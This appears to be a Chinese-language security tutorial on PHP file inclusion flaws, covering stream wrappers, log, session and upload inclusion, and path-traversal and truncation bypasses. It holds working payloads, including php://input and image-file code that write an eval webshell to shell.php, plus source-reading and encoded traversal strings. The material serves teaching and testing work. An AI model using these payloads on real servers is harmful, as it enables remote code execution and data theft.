文件包含漏洞
0x01 文件包含漏洞
为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码,无需再次编写,一般公共资源,公共处理方法都会抽取出来。
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
漏洞成因:在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP、JSP、ASP.net常用开发语言中。
0x02 常见文件包含函数
php中常见的文件包含函数有以下四种:
- include()
- require()
- include_once()
- require_once()
include与require基本是相同的,除了错误处理方面:
- include(),只生成警告(E_WARNING),并且脚本会继续
- require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
- include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and max_input_time()
0x03 PHP伪协议
PHP带了很多内置URL风格的封装协议,可用于fopen、copy、file_exists和filesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。
File:// ——访问本地文件系统 http:// ——访问HTTP(s)网址 ftp:// ——访问FTP(s)URLs php:// 访问各个输入/输出流(I/o streams) zlib:// 压缩流 data:// 读取数据(RFC2397) glob:// 查找匹配的文件路径模式 phar:// PHP归档 ssh2:// Secure Sheel2 rar:// RAR ogg:// 音频流 expect:// 处理交互式的流
1.php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
<meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中"; include($file); }else{ echo '<a href="?file=http://www.baidu.com">click go baidu</a>'; } ?>
执行任意代码:
?file=php://input post数据: <?php phpinfo(); ?>
写入木马:
?file=php://input post数据: <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
读取目录结构:
?file=php://input post数据: <?php print_r(scandir('/var/www/html'));?>
2.php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
?file=php://filter/resource=xxx.php直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上 ?file=php://filter/read=convert.base64-encode/resource=xxx.php将文件内容进行base64编码后显示在浏览器上,再自行解码 ?file=php://filter/convert.base64-encode/resource=xxx.php #可绕过过滤了操作名read的waf ?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重写resource绕过正则为"/resource=*.jpg/i"的waf
3.file://,zip://,compress.zlib://,bzip2://
- file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响(相同类型的还有zip://,zlib://和bzip2://)
- file://必须是绝对路径
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
- zip://中只能传入绝对路径。
- 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。
- 相同的类型的还有zlib://和bzip2://
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip: //D:\zip.jpg%23phpinfo.txt ?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt0
4.data://
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
data://[<MIME-type>][;charset=<encoding>][;base64],<data> ?file=data://,<?php phpinfo(); ?file=data://text//plain,<?php phpinfo(); ?file=data://text/plain;base64,xxxxxxxxx ?file=data:text/plain,</php phpinfo(); ?file=data:text/plain;base64,xxxxxxxxxx
5.phar://
phar:// 有点类似zip://同样可以导致任意代码执行。
- phar://中相对路径和绝对路径都可以使用
phar://...(当前脚本的绝对路径).../1.zip/1.php
0x04 其他文件包含
1.包含Apache日志文件
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
利用条件
- 对日志文件可读
- 知道日志文件存储目录
注意
- 一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf ,nginx.con....)或者根据phpinfo()中的信息来得知
- 日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。
Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。
2.包含SESSION
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
- 找到Session内的可控变量
- Session文件可读写,并且知道存储路径
- php的session文件的保存路径可以在phpinfo的session.save_path看到。
session常见存储路径:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
3.包含/pros/self/environ
proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
4.包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
5.包含上传文件
很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
图片马的制作方式如下,在cmd控制台下输入:
进入1.jph和2.php的文件目录后,执行: copy 1.jpg/b+2.php 3.jpg 将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php
6.包含SMTP(日志)
7.包含xss
0x05 文件包含漏洞的绕过方法
指定前缀绕过
目录遍历
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
-
..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
2.二次编码
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
3.容器/服务器的编码方式
- ../
- ..%c0%af
- 注:Why does Directory traversal attack %C0%AF work?
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
- Apache Tomcat Directory Traversal
- ..%c0%af
- ..\
- ..%c1%9c
指定后缀绕过
<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt"; highlight_file(__FILE__); ?>
一、利用url
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
可参考此文章:URI’s fragment完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
[访问参数] ?file=http://localhost:8081/phpinfo.php? [拼接后] ?file=http://localhost:8081/phpinfo.php?.txt
fragment(#)
[访问参数] ?file=http://localhost:8081/phpinfo.php%23 [拼接后] ?file=http://localhost:8081/phpinfo.php#.txt
二、利用协议
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
[访问参数] ?file=zip://D:\zip.jpg%23phpinfo [拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt
phar://
[访问参数] ?file=phar://zip.zip/phpinfo [拼接后] ?file=phar://zip.zip/phpinfo.txt
三、长度截断
利用条件:
- php版本 < php 5.2.8
原理:
- Windows下目录最大长度为256字节,超出的部分会被丢弃
- Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:
- 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
- ?file=./././././shell.php
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
四、%00截断
利用条件:
- magic_quotes_gpc = Off
- php版本 < php 5.3.4
利用方法:
-
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
LFI本地包含漏洞利用总结
https://blog.csdn.net/ncafei/article/details/62085462?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

浙公网安备 33010602011771号